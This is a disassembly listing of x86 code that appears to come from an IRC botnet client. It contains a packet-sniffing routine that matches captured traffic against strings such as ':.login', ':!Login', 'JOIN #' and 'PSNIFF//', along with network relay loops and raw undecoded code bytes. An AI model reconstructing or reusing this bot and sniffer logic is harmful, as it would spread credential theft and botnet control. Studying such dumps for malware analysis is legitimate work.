		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B33:				; CODE XREF: sub_411AAB+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411B6A
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411B69
; ---------------------------------------------------------------------------


loc_411B56:				; CODE XREF: sub_411AAB+52j
					; sub_411AAB+56j
		cmp	esi, ebx
		jbe	short loc_411B80
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411B69:				; CODE XREF: sub_411AAB+86j
					; sub_411AAB+A9j
		pop	ecx


loc_411B6A:				; CODE XREF: sub_411AAB+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4CBA24
		test	eax, eax
		jle	short loc_411BC9


loc_411B7D:				; CODE XREF: sub_411AAB+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_411B80:				; CODE XREF: sub_411AAB+ADj
		cmp	al, 0Dh
		jnz	loc_411AC4
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_411BC9
		xor	esi, esi
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BA9:				; CODE XREF: sub_411AAB+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_411BBA
		mov	[ebp+var_C], 1
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BBA:				; CODE XREF: sub_411AAB+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_411AC4
; ---------------------------------------------------------------------------


loc_411BC9:				; CODE XREF: sub_411AAB+2Bj
					; sub_411AAB+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_411AAB	endp

; ---------------------------------------------------------------------------
word_411BCE	dw 8B55h		; DATA XREF: sub_401ACD+2BC4o
		dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h,	0BD8D5BF0h
		dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh
		dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch
		dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h
		dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h
		dd 0B8895300h, 43E91Ch,	50EC458Dh, 15FF57h, 85004CBAh
		dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h
		dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh
		dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h
		dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh,	0FF30858Dh
		dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h
		dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh
		dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h
		dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh,	50004357h
		dd 0A579E8h, 858D5300h,	0FFFFFD2Ch, 0E850196Ah,	0FFFF96BEh
		dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h
		dd 8458D00h, 2C858D50h,	56FFFFFFh, 1DD36850h, 56560041h
		dd 0E336E890h, 4D8B0228h, 34C969C8h, 3B000002h,	248189C6h
		dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh,	0E2B2E890h
		dd 0EDEB0228h, 0EC16E890h, 8D500228h, 0FFFD2C85h, 56F468FFh
		dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h
		dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h
		dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh,	75FFFFFFh
		dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h
		dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h
		dd 59FFFF99h, 0E8905659h, 22EE230h, 555B5E5Fh, 0EC81EC8Bh
		dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh
		dd 16AD475h, 69087589h,	234F6h,	0B68D5F00h, 43E91Ch, 0ACB889h
		dd 0DB330000h, 45C7068Bh, 5F8h,	30858900h, 8DFFFFFAh, 5350F845h
		dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh
		dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh
		dd 0FFFF988Ah, 0E8905359h, 22EE1ACh, 30858D53h,	68FFFFFBh
		dd 408h, 0FF36FF50h, 4CB9EC15h,	7FC08500h, 0FF36FF18h
		dd 4CBA6C15h, 875FF00h,	0FF9859E8h, 905359FFh, 2EE17BE8h
		dd 30BD8002h, 4FFFFFBh,	1ED850Fh, 0BD800000h, 0FFFFFB31h
		dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh,	0FB38858Dh
		dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh
		dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h
		dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h
		dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah
		dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h
		dd 59FFFF97h, 0E5E89053h, 6A022EE0h, 0E8458D10h, 49E85053h
		dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh
		dd 6AFFFFFBh, 26A5706h,	0E845C766h, 45890002h, 5415FFECh
		dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h
		dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h
		dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h
		dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h
		dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h,	8D022EE0h
		dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh
		dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh
		dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h
		dd 5359FFFFh, 0DFDEE890h, 68022Eh, 8D000004h, 0FFFB3885h
		dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh,	9F2FE8h
		dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h,	0BA2415FFh
		dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh
		dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h,	0DF82E853h
		dd 0FF90022Eh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h
		dd 69E89053h
		db 0DFh, 2Eh, 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4120AD:				; CODE XREF: ___:0041215Cj
					; ___:0041218Cj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4120C5:				; CODE XREF: ___:004120D3j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4120D5
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4120C5


loc_4120D5:				; CODE XREF: ___:004120CAj
		cmp	ecx, 1
		jnz	short loc_4120EA
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4120EA:				; CODE XREF: ___:004120D8j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4CB9BC
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4CB8C0
		test	eax, eax
		jz	short loc_41214A
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192


loc_41214A:				; CODE XREF: ___:0041211Cj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_4120AD
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB9EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412192
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4120AD


loc_412192:				; CODE XREF: ___:00412131j
					; ___:00412148j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
byte_412197	db 55h			; DATA XREF: sub_401ACD+20B3o
					; sub_40BD91+106o
		dd 0EC81EC8Bh, 87Ch, 5308558Bh,	16A5756h, 0B958DB33h, 0A9h
		dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh
		dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh
		dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h,	228DE14h
		dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h
		dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h
		dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h
		dd 94A8E8FFh, 5959FFFFh, 0DDCAE853h, 8D90022Eh,	46AF045h
		dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh
		dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh
		dd 234C069h, 89530000h,	43E91CB0h, 0D4458D00h, 9CF6E850h
		dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh
		dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h
		dd 83004CBAh, 1975FFF8h, 138868h, 4DE89000h, 0FF0228DDh
		dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh
		dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh
		dd 190h, 0DD1AE890h, 8D530228h,	0FFF88885h, 24B5FFFFh
		dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh
		dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h
		dd 0FF93B9E8h, 1CC483FFh, 0D9E89053h, 8B022EDCh, 9F39087Dh
		dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh
		dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h,	0FFFFF788h
		dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h
		dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch
		dd 2218E0Fh, 88A00000h,	8B0043DBh, 888588CFh, 33FFFFFAh
		dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h
		dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh,	50000000h
		dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh
		dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h
		dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh
		dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h
		dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh,	3FFFFFAh
		dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh
		dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h
		dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch
		dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh
		dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh
		dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h
		dd 0FFFF31BDh, 850F04FFh, 0EDh,	0FF338D8Ah, 858AFFFFh
		dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh
		dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh
		dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h
		dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h
		dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh,	0E7E85001h
		dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh,	478D50F4h
		dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h
		dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h
		dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h,	0FFFFF888h
		dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch
		dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h
		dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h
		dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h
		dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh,	8DFF0000h
		dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh
		dd 0FFFF90FAh, 0E8905359h, 22EDA1Ch, 3E868h, 11E89000h
		dd 570228DAh, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		cmp	dword ptr [ebp+98h], 0
		jz	short loc_41266C
		push	esi
		mov	esi, offset dword_435848


loc_412614:				; CODE XREF: ___:00412667j
		push	esi
		push	dword ptr [ebp+0Ch]
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41265B
		push	esi
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+8]
		push	offset dword_436BB4
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 28h


loc_41265B:				; CODE XREF: ___:00412621j
		add	esi, 80h
		cmp	esi, offset dword_436448
		jb	short loc_412614
		pop	esi
		jmp	short loc_4126A3
; ---------------------------------------------------------------------------


loc_41266C:				; CODE XREF: ___:0041260Cj
		push	dword ptr [ebp+8]
		lea	eax, [ebp-200h]
		push	offset aS_1	; "%s"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-200h]
		push	dword ptr [ebp+9Ch]
		push	eax
		lea	eax, [ebp+18h]
		push	eax
		push	dword ptr [ebp+10h]
		call	sub_409869
		add	esp, 24h


loc_4126A3:				; CODE XREF: ___:0041266Aj
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------
byte_4126A7	db 55h			; DATA XREF: sub_401ACD+7374o
		dd 0EC81EC8Bh, 920h, 5308458Bh,	0A5835756h, 0FFFFF6E0h
		dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h
		dd 94h,	1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h
		dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h
		dd 86A0000h, 0D8F6E890h, 15FF0228h, 4CB958h, 0FF8453Bh
		dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h
		dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh
		dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h
		dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh
		dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h
		dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h
		dd 0ACC481h, 858D0000h,	0FFFFFB20h, 50006A53h, 97BBE8h
		dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h
		dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h
		dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h
		dd 6FE85000h, 8100009Ah, 8CECh,	8D34EB00h, 0E850B845h
		dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh
		dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h
		dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh,	858D50FCh
		dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh
		dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh
		dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h,	0A1h, 15FF016Ah
		dd 4CB9A0h, 80013D66h, 8F850Fh,	858D0000h, 0FFFFFD20h
		dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h
		dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h,	50FFFFFDh
		dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h
		dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh,	0FC8B5926h
		dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h
		dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h
		dd 0FFFB2085h, 6A53FFh,	964EE850h, 0C4830000h, 0FC45C70Ch
		dd 43644Ch, 15FF106Ah, 4CB8A8h,	8BF0BF0Fh, 788BFC45h, 15FF57FCh
		dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h
		dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h,	0BD84C710h
		dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h
		dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h
		dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h
		dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h
		dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h,	0F6E0BD84h, 0F685FFFFh
		dd 158840Fh, 20830000h,	20858D00h, 83FFFFFDh, 755008FFh
		dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h
		dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h
		dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h
		dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh,	0FD20858Dh
		dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h
		dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h,	0D2h, 0B95815FFh
		dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh
		dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh
		dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h
		dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h,	0C4830000h
		dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah
		dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h
		dd 0FD20858Dh, 6AFFFFh,	9486E850h, 0C4810000h, 0ACh, 0FB20858Dh
		dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh
		dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h
		dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h,	83FFFFFDh
		dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh
		dd 90006A59h, 2ED49FE8h
		db 2
byte_412B61	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+4150o
		dd 102B4B8h, 9992E800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h
		dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h,	4589026Ah
		dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h,	6815FF5Dh
		dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h,	9675E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h
		dd 565959FFh, 0D3CAE890h, 458B022Eh, 69106AD0h,	234C0h
		dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh,	0F883004Ch
		dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h
		dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah,	45E89056h
		dd 56022ED3h, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h
		dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h,	0FFFFFD4Ch
		dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch,	89A0E8D0h
		dd 5659FFFFh, 0D2C2E890h, 0BB53022Eh, 436C58h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh
		dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh
		dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h
		dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h
		dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h
		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h
		dd 0D075FF00h, 0FF8801E8h, 0E85659FFh, 22ED124h
		db 90h

; =============== S U B	R O U T	I N E =======================================



sub_412EDD	proc near		; CODE XREF: sub_4131EC+213p
					; sub_4131EC+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4CE734, eax
		mov	eax, offset dword_4CE734
		retn
sub_412EDD	endp


; =============== S U B	R O U T	I N E =======================================



sub_412EEC	proc near		; CODE XREF: sub_4131EC+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F06


loc_412F02:				; CODE XREF: sub_412EEC+29j
					; sub_412EEC+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F06:				; CODE XREF: sub_412EEC+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F02
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412F4E


loc_412F4A:				; CODE XREF: sub_412EEC+71j
					; sub_412EEC+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412F4E:				; CODE XREF: sub_412EEC+5Cj
					; DATA XREF: ___:off_43ACE0o
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a366	; "366 "
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412F4A
